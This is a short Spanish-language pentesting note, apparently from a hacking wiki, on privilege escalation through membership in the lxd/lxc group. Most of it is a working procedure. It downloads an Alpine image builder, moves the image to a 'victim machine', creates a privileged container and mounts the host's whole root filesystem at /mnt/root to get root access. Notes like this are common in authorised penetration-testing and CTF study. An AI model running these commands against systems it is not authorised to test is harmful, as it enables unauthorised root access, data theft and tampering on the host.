Abusando grupo lxd/lxc

Si tenemos el grupo lxd con nuestro usuario podemos desplegar contenedores (una máquina) para escalar privilegios como root, esto funciona de tal manera que podemos hacer que toda la raiz de el sistema operativo actual “/” (máquina principal) se monte en → /mnt/root (contenedor).

Entonces una vez creado tendríamos acceso como root a todos los archivos, carpetas de / que antes no podíamos leer/crear/modificar.

Descargar imagen que instalaremos

wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

Lo instalamos con sudo

sudo bash build-alpine

Todo este proceso en nuestra máquina, una vez tengamos la imagen .tar.gz la pasamos a la máquina victima.

Abusamos de lxd/lxc

1. lxc image import alpine-v3.18-x86_64-20230628_1137.tar.gz --alias alpine # importamos la imagen
2. lxc image list # listamos la imagen para ver que se haya creado
3. lxc init alpine privesc -c security.privileged=true 
4. lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true # ponemos que la / raiz este en /mnt/root
5. lxc start privesc
6. lxc exec privesc sh

Ahora solamente nos vamos a /mnt/root/ y tendremos todos los archivos y carpetas con permisos root

También hay este script que te automatiza todo este proceso:

Last updated